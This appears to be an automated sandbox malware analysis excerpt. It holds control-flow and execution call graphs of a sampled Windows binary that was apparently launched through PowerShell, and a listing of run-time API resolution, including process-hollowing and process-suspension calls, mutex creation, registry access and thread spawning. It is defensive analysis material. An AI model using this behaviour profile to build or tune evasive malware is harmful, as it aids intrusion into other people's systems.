7ffd347b0971-7ffd347b098c 671->691 672->673 678 7ffd347b0876-7ffd347b0879 673->678 679 7ffd347b0930-7ffd347b093a 673->679 678->679 681 7ffd347b087f-7ffd347b0887 678->681 683 7ffd347b093c-7ffd347b0948 679->683 684 7ffd347b0949-7ffd347b096f 679->684 681->671 685 7ffd347b088d-7ffd347b0897 681->685 684->691 688 7ffd347b0899-7ffd347b08a9 685->688 689 7ffd347b08b0-7ffd347b08b4 685->689 696 7ffd347b08ab-7ffd347b08ae 688->696 697 7ffd347b08df-7ffd347b08f9 688->697 689->679 694 7ffd347b08b6-7ffd347b08b9 689->694 700 7ffd347b09eb-7ffd347b0a12 690->700 701 7ffd347b0a14-7ffd347b0a41 690->701 691->671 698 7ffd347b08bb-7ffd347b08c4 694->698 699 7ffd347b08d0-7ffd347b08d4 694->699 696->689 710 7ffd347b08fb-7ffd347b0909 697->710 698->699 699->679 707 7ffd347b08d6-7ffd347b08dc 699->707 700->701 715 7ffd347b0a43 701->715 716 7ffd347b0a44-7ffd347b0a55 701->716 707->710 711 7ffd347b08de 707->711 717 7ffd347b090b-7ffd347b0918 710->717 718 7ffd347b0922-7ffd347b092f 710->718 711->697 715->716 719 7ffd347b0a57 716->719 720 7ffd347b0a58-7ffd347b0a7a 716->720 717->718 726 7ffd347b091a-7ffd347b0920 717->726 719->720 722 7ffd347b0a7c-7ffd347b0aae 720->722 723 7ffd347b0ab0-7ffd347b0ae4 720->723 722->723 728 7ffd347b0c09-7ffd347b0c5b 723->728 729 7ffd347b0aea-7ffd347b0af4 723->729 726->718 751 7ffd347b0beb-7ffd347b0c06 728->751 752 7ffd347b0c5d-7ffd347b0c63 728->752 731 7ffd347b0af6-7ffd347b0b03 729->731 732 7ffd347b0b0d-7ffd347b0b12 729->732 731->732 738 7ffd347b0b05-7ffd347b0b0b 731->738 735 7ffd347b0b18-7ffd347b0b1b 732->735 736 7ffd347b0baa-7ffd347b0bb4 732->736 735->736 741 7ffd347b0b21-7ffd347b0b24 735->741 739 7ffd347b0bb6-7ffd347b0bc2 736->739 740 7ffd347b0bc3-7ffd347b0be9 736->740 738->732 740->751 744 7ffd347b0b26-7ffd347b0b49 741->744 745 7ffd347b0b4b 741->745 748 7ffd347b0b4d-7ffd347b0b4f 744->748 745->748 748->736 750 7ffd347b0b51-7ffd347b0b5b 748->750 750->736 760 7ffd347b0b5d-7ffd347b0b73 750->760 751->728 757 7ffd347b0c65-7ffd347b0c8c 752->757 758 7ffd347b0c8e-7ffd347b0cb9 752->758 757->758 767 7ffd347b0cbb 758->767 768 7ffd347b0cbc-7ffd347b0ccd 758->768 765 7ffd347b0b7a-7ffd347b0b83 760->765 769 7ffd347b0b85-7ffd347b0b92 765->769 770 7ffd347b0b9c-7ffd347b0ba9 765->770 767->768 771 7ffd347b0ccf 768->771 772 7ffd347b0cd0-7ffd347b0d53 768->772 769->770 775 7ffd347b0b94-7ffd347b0b9a 769->775 771->772 777 7ffd347b0d59-7ffd347b0d62 772->777 778 7ffd347b0e32-7ffd347b0e3c 772->778 775->770 777->778 781 7ffd347b0e48-7ffd347b0e88 778->781 782 7ffd347b0e3e-7ffd347b0e47 778->782
                                                        Memory Dump Source
                                                        • Source File: 00000014.00000002.2901433771.00007FFD347B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_20_2_7ffd347b0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 6e7b8f0c9bd9a9c0d2ca827039f65c930a8ea4415b54d42c012ef5e3d2b81640
                                                        • Instruction ID: b296e2ad83bcf02d0ccf4d537ae6816cc86fd2edc11bd76fd3ae49281ec657b1
                                                        • Opcode Fuzzy Hash: 6e7b8f0c9bd9a9c0d2ca827039f65c930a8ea4415b54d42c012ef5e3d2b81640
                                                        • Instruction Fuzzy Hash: B2110592F1EF9A87F3B55A1C28B5179B5C1EF96624F4801BBD94DE2182DC4DBC0121C1

                                                        Execution Graph

                                                        Execution Coverage:1.2%
                                                        Dynamic/Decrypted Code Coverage:0%
                                                        Signature Coverage:4.4%
                                                        Total number of Nodes:550
                                                        Total number of Limit Nodes:10
                                                        execution_graph 46973 404e26 WaitForSingleObject 46974 404e40 SetEvent CloseHandle 46973->46974 46975 404e57 closesocket 46973->46975 46976 404ed8 46974->46976 46977 404e64 46975->46977 46978 404e7a 46977->46978 46986 4050e4 83 API calls 46977->46986 46980 404e8c WaitForSingleObject 46978->46980 46981 404ece SetEvent CloseHandle 46978->46981 46987 41e7a2 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 46980->46987 46981->46976 46983 404e9b SetEvent WaitForSingleObject 46988 41e7a2 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 46983->46988 46985 404eb3 SetEvent CloseHandle CloseHandle 46985->46981 46986->46978 46987->46983 46988->46985 46989 434918 46990 434924 ___scrt_is_nonwritable_in_current_image 46989->46990 47015 434627 46990->47015 46992 43492b 46994 434954 46992->46994 47310 434a8a IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_get_show_window_mode 46992->47310 46998 434993 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 46994->46998 47311 4442d2 5 API calls __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 46994->47311 46996 43496d 46999 434973 ___scrt_is_nonwritable_in_current_image 46996->46999 47312 444276 5 API calls __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 46996->47312 47005 4349f3 46998->47005 47313 443487 35 API calls 6 library calls 46998->47313 47026 434ba5 47005->47026 47010 434a1f 47012 434a28 47010->47012 47314 443462 28 API calls _Atexit 47010->47314 47315 43479e 13 API calls 2 library calls 47012->47315 47016 434630 47015->47016 47316 434cb6 IsProcessorFeaturePresent 47016->47316 47018 43463c 47317 438fb1 10 API calls 4 library calls 47018->47317 47020 434641 47025 434645 47020->47025 47318 44415f 47020->47318 47023 43465c 47023->46992 47025->46992 47384 436f10 47026->47384 47029 4349f9 47030 444223 47029->47030 47386 44f0d9 47030->47386 47032 434a02 47035 40ea00 47032->47035 47033 44422c 47033->47032 47390 446895 35 API calls 47033->47390 47392 41cbe1 LoadLibraryA GetProcAddress 47035->47392 47037 40ea1c GetModuleFileNameW 47397 40f3fe 47037->47397 47039 40ea38 47412 4020f6 47039->47412 47042 4020f6 28 API calls 47043 40ea56 47042->47043 47418 41beac 47043->47418 47047 40ea68 47444 401e8d 47047->47444 47049 40ea71 47050 40ea84 47049->47050 47051 40eace 47049->47051 47474 40fbee 116 API calls 47050->47474 47450 401e65 22 API calls 47051->47450 47054 40eade 47451 401e65 22 API calls 47054->47451 47055 40ea96 47475 401e65 22 API calls 47055->47475 47057 40eaa2 47476 410f72 36 API calls __EH_prolog 47057->47476 47059 40eafd 47452 40531e 28 API calls 47059->47452 47062 40eb0c 47453 406383 28 API calls 47062->47453 47063 40eab4 47477 40fb9f 77 API calls 47063->47477 47066 40eabd 47478 40f3eb 70 API calls 47066->47478 47067 40eb18 47454 401fe2 47067->47454 47073 401fd8 11 API calls 47075 40ef36 47073->47075 47074 401fd8 11 API calls 47076 40eb36 47074->47076 47305 443396 GetModuleHandleW 47075->47305 47466 401e65 22 API calls 47076->47466 47078 40eb3f 47467 401fc0 28 API calls 47078->47467 47080 40eb4a 47468 401e65 22 API calls 47080->47468 47082 40eb63 47469 401e65 22 API calls 47082->47469 47084 40eb7e 47085 40ebe9 47084->47085 47479 406c59 28 API calls 47084->47479 47470 401e65 22 API calls 47085->47470 47088 40ebab 47089 401fe2 28 API calls 47088->47089 47090 40ebb7 47089->47090 47093 401fd8 11 API calls 47090->47093 47091 40ebf6 47092 40ec3d 47091->47092 47481 413584 RegOpenKeyExA RegQueryValueExA RegCloseKey 47091->47481 47471 40d0a4 47092->47471 47094 40ebc0 47093->47094 47480 413584 RegOpenKeyExA RegQueryValueExA RegCloseKey 47094->47480 47096 40ec43 47097 40eac6 47096->47097 47483 41b354 33 API calls 47096->47483 47097->47073 47101 40ebdf 47101->47085 47103 40f38a 47101->47103 47102 40ec5e 47105 40ecb1 47102->47105 47484 407751 RegOpenKeyExA RegQueryValueExA RegCloseKey 47102->47484 47566 4139e4 30 API calls 47103->47566 47104 40ec21 47104->47092 47482 4139e4 30 API calls 47104->47482 47489 401e65 22 API calls 47105->47489 47110 40f3a0 47567 4124b0 65 API calls ___scrt_get_show_window_mode 47110->47567 47111 40ecba 47119 40ecc6 47111->47119 47120 40eccb 47111->47120 47112 40ec79 47114 40ec87 47112->47114 47115 40ec7d 47112->47115 47487 401e65 22 API calls 47114->47487 47485 407773 30 API calls 47115->47485 47117 40f388 47568 41bcef 28 API calls 47117->47568 47490 407790 CreateProcessA CloseHandle CloseHandle ___scrt_get_show_window_mode 47119->47490 47491 401e65 22 API calls 47120->47491 47121 40ec82 47486 40729b 97 API calls 47121->47486 47126 40f3ba 47569 413a5e RegOpenKeyExW RegDeleteValueW 47126->47569 47127 40ecd4 47492 41bcef 28 API calls 47127->47492 47129 40ec90 47129->47105 47133 40ecac 47129->47133 47130 40ecdf 47493 401f13 28 API calls 47130->47493 47488 40729b 97 API calls 47133->47488 47134 40f3cd 47570 401f09 11 API calls 47134->47570 47135 40ecea 47494 401f09 11 API calls 47135->47494 47139 40f3d7 47571 401f09 11 API calls 47139->47571 47140 40ecf3 47495 401e65 22 API calls 47140->47495 47143 40f3e0 47572 40dd7d 27 API calls 47143->47572 47145 40ecfc 47496 401e65 22 API calls 47145->47496 47146 40f3e5 47573 414f65 167 API calls _strftime 47146->47573 47150 40ed16 47497 401e65 22 API calls 47150->47497 47152 40ed30 47498 401e65 22 API calls 47152->47498 47154 40ed49 47155 40edbb 47154->47155 47499 401e65 22 API calls 47154->47499 47156 40edc5 47155->47156 47163 40ef41 ___scrt_get_show_window_mode 47155->47163 47158 40edce 47156->47158 47164 40ee4a 47156->47164 47505 401e65 22 API calls 47158->47505 47160 40edd7 47506 401e65 22 API calls 47160->47506 47161 40ed5e _wcslen 47161->47155 47500 401e65 22 API calls 47161->47500 47516 413733 RegOpenKeyExA RegQueryValueExA RegCloseKey 47163->47516 47188 40ee45 ___scrt_get_show_window_mode 47164->47188 47166 40ede9 47507 401e65 22 API calls 47166->47507 47167 40ed79 47501 401e65 22 API calls 47167->47501 47171 40edfb 47508 401e65 22 API calls 47171->47508 47172 40ed8e 47502 40da6f 31 API calls 47172->47502 47173 40ef8c 47517 401e65 22 API calls 47173->47517 47176 40ee24 47509 401e65 22 API calls 47176->47509 47177 40efb1 47518 402093 28 API calls 47177->47518 47179 40eda1 47503 401f13 28 API calls 47179->47503 47183 40edad 47504 401f09 11 API calls 47183->47504 47184 40ee35 47510 40ce34 45 API calls _wcslen 47184->47510 47185 40efc3 47519 4137aa 14 API calls 47185->47519 47187 40edb6 47187->47155 47188->47164 47511 413982 31 API calls 47188->47511 47192 40eede ctype 47512 401e65 22 API calls 47192->47512 47193 40efd9 47520 401e65 22 API calls 47193->47520 47195 40efe5 47521 43bb2c 39 API calls _strftime 47195->47521 47198 40eff2 47200 40f01f 47198->47200 47522 41ce2c 86 API calls ___scrt_get_show_window_mode 47198->47522 47199 40eef5 47199->47173 47513 401e65 22 API calls 47199->47513 47523 402093 28 API calls 47200->47523 47203 40ef12 47514 41bcef 28 API calls 47203->47514 47204 40f003 CreateThread 47204->47200 47671 41d4ee 10 API calls 47204->47671 47207 40f034 47524 402093 28 API calls 47207->47524 47208 40ef1e 47515 40f4af 103 API calls 47208->47515 47211 40ef23 47211->47173 47214 40ef2a 47211->47214 47212 40f043 47525 41b580 79 API calls 47212->47525 47214->47097 47215 40f048 47526 401e65 22 API calls 47215->47526 47217 40f054 47527 401e65 22 API calls 47217->47527 47219 40f066 47528 401e65 22 API calls 47219->47528 47221 40f086 47529 43bb2c 39 API calls _strftime 47221->47529 47223 40f093 47530 401e65 22 API calls 47223->47530 47225 40f09e 47531 401e65 22 API calls 47225->47531 47227 40f0af 47532 401e65 22 API calls 47227->47532 47229 40f0c4 47533 401e65 22 API calls 47229->47533 47231 40f0d5 47232 40f0dc StrToIntA 47231->47232 47534 409e1f 168 API calls _wcslen 47232->47534 47234 40f0ee 47535 401e65 22 API calls 47234->47535 47236 40f0f7 47237 40f13c 47236->47237 47536 43455e 47236->47536 47544 401e65 22 API calls 47237->47544 47242 40f11f 47245 40f126 CreateThread 47242->47245 47243 40f194 47546 401e65 22 API calls 47243->47546 47244 40f14c 47244->47243 47246 43455e new 22 API calls 47244->47246 47245->47237 47675 41a045 102 API calls 2 library calls 47245->47675 47248 40f161 47246->47248 47545 401e65 22 API calls 47248->47545 47250 40f173 47254 40f17a CreateThread 47250->47254 47251 40f207 47552 401e65 22 API calls 47251->47552 47252 40f19d 47252->47251 47547 401e65 22 API calls 47252->47547 47254->47243 47672 41a045 102 API calls 2 library calls 47254->47672 47256 40f1b9 47548 401e65 22 API calls 47256->47548 47257 40f255 47557 41b69e 79 API calls 47257->47557 47258 40f210 47258->47257 47553 401e65 22 API calls 47258->47553 47262 40f1ce 47549 40da23 31 API calls 47262->47549 47263 40f25e 47558 401f13 28 API calls 47263->47558 47264 40f225 47554 401e65 22 API calls 47264->47554 47266 40f269 47559 401f09 11 API calls 47266->47559 47270 40f1e1 47550 401f13 28 API calls 47270->47550 47271 40f272 CreateThread 47276 40f293 CreateThread 47271->47276 47277 40f29f 47271->47277 47673 40f7e2 120 API calls 47271->47673 47272 40f23a 47555 43bb2c 39 API calls _strftime 47272->47555 47275 40f1ed 47551 401f09 11 API calls 47275->47551 47276->47277 47674 412132 137 API calls 47276->47674 47279 40f2b4 47277->47279 47280 40f2a8 CreateThread 47277->47280 47284 40f307 47279->47284 47560 402093 28 API calls 47279->47560 47280->47279 47669 412716 38 API calls ___scrt_get_show_window_mode 47280->47669 47282 40f1f6 CreateThread 47282->47251 47670 401be9 49 API calls _strftime 47282->47670 47283 40f247 47556 40c19d 7 API calls 47283->47556 47562 41353a RegOpenKeyExA RegQueryValueExA RegCloseKey 47284->47562 47287 40f2d7 47561 4052fd 28 API calls 47287->47561 47291 40f31f 47291->47143 47563 41bcef 28 API calls 47291->47563 47295 40f338 47564 413656 31 API calls 47295->47564 47300 40f34e 47565 401f09 11 API calls 47300->47565 47302 40f359 47302->47117 47303 40f381 DeleteFileW 47302->47303 47304 40f36f Sleep 47302->47304 47303->47117 47303->47302 47304->47302 47306 434a15 47305->47306 47306->47010 47307 4434bf 47306->47307 47677 44323c 47307->47677 47310->46992 47311->46996 47312->46998 47313->47005 47314->47012 47315->46999 47316->47018 47317->47020 47322 44fbe8 47318->47322 47321 438fda 8 API calls 3 library calls 47321->47025 47325 44fc05 47322->47325 47326 44fc01 47322->47326 47324 43464e 47324->47023 47324->47321 47325->47326 47328 449d26 47325->47328 47340 43502b 47326->47340 47329 449d32 ___scrt_is_nonwritable_in_current_image 47328->47329 47347 445909 EnterCriticalSection 47329->47347 47331 449d39 47348 450203 47331->47348 47333 449d48 47334 449d57 47333->47334 47359 449bba 23 API calls 47333->47359 47361 449d73 LeaveCriticalSection std::_Lockit::~_Lockit 47334->47361 47337 449d52 47360 449c70 GetStdHandle GetFileType 47337->47360 47339 449d68 ___scrt_is_nonwritable_in_current_image 47339->47325 47341 435036 IsProcessorFeaturePresent 47340->47341 47342 435034 47340->47342 47344 435078 47341->47344 47342->47324 47383 43503c SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 47344->47383 47346 43515b 47346->47324 47347->47331 47349 45020f ___scrt_is_nonwritable_in_current_image 47348->47349 47350 450233 47349->47350 47351 45021c 47349->47351 47362 445909 EnterCriticalSection 47350->47362 47370 44062d 20 API calls __dosmaperr 47351->47370 47354 45026b 47371 450292 LeaveCriticalSection std::_Lockit::~_Lockit 47354->47371 47356 450221 ___scrt_is_nonwritable_in_current_image __cftof 47356->47333 47357 45023f 47357->47354 47363 450154 47357->47363 47359->47337 47360->47334 47361->47339 47362->47357 47372 445b74 47363->47372 47365 450173 47380 446802 20 API calls __dosmaperr 47365->47380 47366 450166 47366->47365 47379 448b04 11 API calls 2 library calls 47366->47379 47368 4501c5 47368->47357 47370->47356 47371->47356 47377 445b81 __Getctype 47372->47377 47373 445bc1 47382 44062d 20 API calls __dosmaperr 47373->47382 47374 445bac RtlAllocateHeap 47375 445bbf 47374->47375 47374->47377 47375->47366 47377->47373 47377->47374 47381 443001 7 API calls 2 library calls 47377->47381 47379->47366 47380->47368 47381->47377 47382->47375 47383->47346 47385 434bb8 GetStartupInfoW 47384->47385 47385->47029 47387 44f0eb 47386->47387 47388 44f0e2 47386->47388 47387->47033 47391 44efd8 48 API calls 5 library calls 47388->47391 47390->47033 47391->47387 47393 41cc20 LoadLibraryA GetProcAddress 47392->47393 47394 41cc10 GetModuleHandleA GetProcAddress 47392->47394 47395 41cc49 44 API calls 47393->47395 47396 41cc39 LoadLibraryA GetProcAddress 47393->47396 47394->47393 47395->47037 47396->47395 47574 41b539 FindResourceA 47397->47574 47401 40f428 ctype 47584 4020b7 47401->47584 47404 401fe2 28 API calls 47405 40f44e 47404->47405 47406 401fd8 11 API calls 47405->47406 47407 40f457 47406->47407 47408 43bda0 ___std_exception_copy 21 API calls 47407->47408 47409 40f468 ctype 47408->47409 47590 406e13 47409->47590 47411 40f49b 47411->47039 47413 40210c 47412->47413 47414 4023ce 11 API calls 47413->47414 47415 402126 47414->47415 47416 402569 28 API calls 47415->47416 47417 402134 47416->47417 47417->47042 47644 4020df 47418->47644 47420 401fd8 11 API calls 47421 41bf61 47420->47421 47422 401fd8 11 API calls 47421->47422 47425 41bf69 47422->47425 47423 41bf31 47426 4041a2 28 API calls 47423->47426 47427 401fd8 11 API calls 47425->47427 47428 41bf3d 47426->47428 47431 40ea5f 47427->47431 47429 401fe2 28 API calls 47428->47429 47432 41bf46 47429->47432 47430 401fe2 28 API calls 47438 41bebf 47430->47438 47440 40fb52 47431->47440 47433 401fd8 11 API calls 47432->47433 47435 41bf4e 47433->47435 47434 401fd8 11 API calls 47434->47438 47652 41cec5 28 API calls 47435->47652 47438->47423 47438->47430 47438->47434 47439 41bf2f 47438->47439 47648 4041a2 47438->47648 47651 41cec5 28 API calls 47438->47651 47439->47420 47441 40fb5e 47440->47441 47443 40fb65 47440->47443 47659 402163 11 API calls 47441->47659 47443->47047 47445 402163 47444->47445 47446 40219f 47445->47446 47660 402730 11 API calls 47445->47660 47446->47049 47448 402184 47661 402712 11 API calls std::_Deallocate 47448->47661 47450->47054 47451->47059 47452->47062 47453->47067 47455 401ff1 47454->47455 47462 402039 47454->47462 47456 4023ce 11 API calls 47455->47456 47457 401ffa 47456->47457 47458 40203c 47457->47458 47460 402015 47457->47460 47663 40267a 11 API calls 47458->47663 47662 403098 28 API calls 47460->47662 47463 401fd8 47462->47463 47464 4023ce 11 API calls 47463->47464 47465 401fe1 47464->47465 47465->47074 47466->47078 47467->47080 47468->47082 47469->47084 47470->47091 47664 401fab 47471->47664 47473 40d0ae CreateMutexA GetLastError 47473->47096 47474->47055 47475->47057 47476->47063 47477->47066 47479->47088 47480->47101 47481->47104 47482->47092 47483->47102 47484->47112 47485->47121 47486->47114 47487->47129 47488->47105 47489->47111 47490->47120 47491->47127 47492->47130 47493->47135 47494->47140 47495->47145 47496->47150 47497->47152 47498->47154 47499->47161 47500->47167 47501->47172 47502->47179 47503->47183 47504->47187 47505->47160 47506->47166 47507->47171 47508->47176 47509->47184 47510->47188 47511->47192 47512->47199 47513->47203 47514->47208 47515->47211 47516->47173 47517->47177 47518->47185 47519->47193 47520->47195 47521->47198 47522->47204 47523->47207 47524->47212 47525->47215 47526->47217 47527->47219 47528->47221 47529->47223 47530->47225 47531->47227 47532->47229 47533->47231 47534->47234 47535->47236 47538 434563 47536->47538 47537 43bda0 ___std_exception_copy 21 API calls 47537->47538 47538->47537 47539 40f10c 47538->47539 47665 443001 7 API calls 2 library calls 47538->47665 47666 434c99 RaiseException Concurrency::cancel_current_task __CxxThrowException@8 47538->47666 47667 4352fb RaiseException Concurrency::cancel_current_task __CxxThrowException@8 47538->47667 47543 401e65 22 API calls 47539->47543 47543->47242 47544->47244 47545->47250 47546->47252 47547->47256 47548->47262 47549->47270 47550->47275 47551->47282 47552->47258 47553->47264 47554->47272 47555->47283 47556->47257 47557->47263 47558->47266 47559->47271 47560->47287 47562->47291 47563->47295 47564->47300 47565->47302 47566->47110 47568->47126 47569->47134 47570->47139 47571->47143 47572->47146 47668 41ada8 103 API calls 47573->47668 47575 41b556 LoadResource LockResource SizeofResource 47574->47575 47576 40f419 47574->47576 47575->47576 47577 43bda0 47576->47577 47582 4461b8 __Getctype 47577->47582 47578 4461f6 47594 44062d 20 API calls __dosmaperr 47578->47594 47580 4461e1 RtlAllocateHeap 47581 4461f4 47580->47581 47580->47582 47581->47401 47582->47578 47582->47580 47593 443001 7 API calls 2 library calls 47582->47593 47585 4020bf 47584->47585 47595 4023ce 47585->47595 47587 4020ca 47599 40250a 47587->47599 47589 4020d9 47589->47404 47591 4020b7 28 API calls 47590->47591 47592 406e27 47591->47592 47592->47411 47593->47582 47594->47581 47596 402428 47595->47596 47597 4023d8 47595->47597 47596->47587 47597->47596 47606 4027a7 11 API calls std::_Deallocate 47597->47606 47600 40251a 47599->47600 47601 402520 47600->47601 47602 402535 47600->47602 47607 402569 47601->47607 47617 4028e8 47602->47617 47605 402533 47605->47589 47606->47596 47628 402888 47607->47628 47609 40257d 47610 402592 47609->47610 47611 4025a7 47609->47611 47633 402a34 22 API calls 47610->47633 47613 4028e8 28 API calls 47611->47613 47616 4025a5 47613->47616 47614 40259b 47634 4029da 22 API calls 47614->47634 47616->47605 47618 4028f1 47617->47618 47619 402953 47618->47619 47620 4028fb 47618->47620 47642 4028a4 22 API calls 47619->47642 47623 402904 47620->47623 47624 402917 47620->47624 47636 402cae 47623->47636 47625 402915 47624->47625 47627 4023ce 11 API calls 47624->47627 47625->47605 47627->47625 47630 402890 47628->47630 47629 402898 47629->47609 47630->47629 47635 402ca3 22 API calls 47630->47635 47633->47614 47634->47616 47637 402cb8 __EH_prolog 47636->47637 47643 402e54 22 API calls 47637->47643 47639 4023ce 11 API calls 47641 402d92 47639->47641 47640 402d24 47640->47639 47641->47625 47643->47640 47645 4020e7 47644->47645 47646 4023ce 11 API calls 47645->47646 47647 4020f2 47646->47647 47647->47438 47653 40423a 47648->47653 47651->47438 47652->47439 47654 404243 47653->47654 47655 4023ce 11 API calls 47654->47655 47656 40424e 47655->47656 47657 402569 28 API calls 47656->47657 47658 4041b5 47657->47658 47658->47438 47659->47443 47660->47448 47661->47446 47662->47462 47663->47462 47665->47538 47676 412829 61 API calls 47674->47676 47678 443248 FindHandler 47677->47678 47679 443396 _Atexit GetModuleHandleW 47678->47679 47687 443260 47678->47687 47681 443254 47679->47681 47681->47687 47711 4433da GetModuleHandleExW 47681->47711 47682 443268 47686 4432dd 47682->47686 47698 443306 47682->47698 47719 443ff0 20 API calls _Atexit 47682->47719 47690 4432f5 47686->47690 47720 444276 5 API calls __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 47686->47720 47699 445909 EnterCriticalSection 47687->47699 47688 443323 47703 443355 47688->47703 47689 44334f 47722 4577a9 5 API calls __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 47689->47722 47721 444276 5 API calls __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 47690->47721 47700 443346 47698->47700 47699->47682 47723 445951 LeaveCriticalSection 47700->47723 47702 44331f 47702->47688 47702->47689 47724 448d49 47703->47724 47706 443383 47709 4433da _Atexit 8 API calls 47706->47709 47707 443363 GetPEB 47707->47706 47708 443373 GetCurrentProcess TerminateProcess 47707->47708 47708->47706 47710 44338b ExitProcess 47709->47710 47712 443404 GetProcAddress 47711->47712 47713 443427 47711->47713 47714 443419 47712->47714 47715 443436 47713->47715 47716 44342d FreeLibrary 47713->47716 47714->47713 47717 43502b __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47715->47717 47716->47715 47718 443440 47717->47718 47718->47687 47719->47686 47720->47690 47721->47698 47723->47702 47725 448d6e 47724->47725 47727 448d64 47724->47727 47730 44854a 47725->47730 47728 43502b __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47727->47728 47729 44335f 47728->47729 47729->47706 47729->47707 47731 448576 47730->47731 47732 44857a 47730->47732 47731->47732 47736 44859a 47731->47736 47737 4485e6 47731->47737 47732->47727 47734 4485a6 GetProcAddress 47735 4485b6 __crt_fast_encode_pointer 47734->47735 47735->47732 47736->47732 47736->47734 47738 448607 LoadLibraryExW 47737->47738 47741 4485fc 47737->47741 47739 448624 GetLastError 47738->47739 47740 44863c 47738->47740 47739->47740 47742 44862f LoadLibraryExW 47739->47742 47740->47741 47743 448653 FreeLibrary 47740->47743 47741->47731 47742->47740 47743->47741 47744 40165e 47745 401666 47744->47745 47746 401669 47744->47746 47747 4016a8 47746->47747 47749 401696 47746->47749 47748 43455e new 22 API calls 47747->47748 47751 40169c 47748->47751 47750 43455e new 22 API calls 47749->47750 47750->47751

                                                        Executed Functions

                                                        Function 0041CBE1 Relevance: 148.9, APIs: 52, Strings: 33, Instructions: 176libraryloaderCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        • LoadLibraryA.KERNELBASE(Psapi,GetProcessImageFileNameW,?,?,?,?,0040EA1C), ref: 0041CBF6
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CBFF
                                                        • GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040EA1C), ref: 0041CC16
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CC19
                                                        • LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0040EA1C), ref: 0041CC2B
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CC2E
                                                        • LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,0040EA1C), ref: 0041CC3F
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CC42
                                                        • LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,0040EA1C), ref: 0041CC54
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CC57
                                                        • LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,0040EA1C), ref: 0041CC63
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CC66
                                                        • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040EA1C), ref: 0041CC77
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CC7A
                                                        • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040EA1C), ref: 0041CC8B
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CC8E
                                                        • LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0040EA1C), ref: 0041CC9F
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CCA2
                                                        • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040EA1C), ref: 0041CCB3
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CCB6
                                                        • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040EA1C), ref: 0041CCC7
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CCCA
                                                        • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040EA1C), ref: 0041CCDB
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CCDE
                                                        • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040EA1C), ref: 0041CCEF
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CCF2
                                                        • GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040EA1C), ref: 0041CD03
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CD06
                                                        • LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,0040EA1C), ref: 0041CD14
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CD17
                                                        • LoadLibraryA.KERNEL32(kernel32,GetConsoleWindow,?,?,?,?,0040EA1C), ref: 0041CD28
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CD2B
                                                        • GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040EA1C), ref: 0041CD38
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CD3B
                                                        • GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040EA1C), ref: 0041CD48
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CD4B
                                                        • LoadLibraryA.KERNELBASE(Iphlpapi,GetExtendedTcpTable,?,?,?,?,0040EA1C), ref: 0041CD5D
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CD60
                                                        • LoadLibraryA.KERNEL32(Iphlpapi,GetExtendedUdpTable,?,?,?,?,0040EA1C), ref: 0041CD6D
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CD70
                                                        • GetModuleHandleA.KERNEL32(ntdll,NtQueryInformationProcess,?,?,?,?,0040EA1C), ref: 0041CD81
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CD84
                                                        • GetModuleHandleA.KERNEL32(kernel32,GetFinalPathNameByHandleW,?,?,?,?,0040EA1C), ref: 0041CD95
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CD98
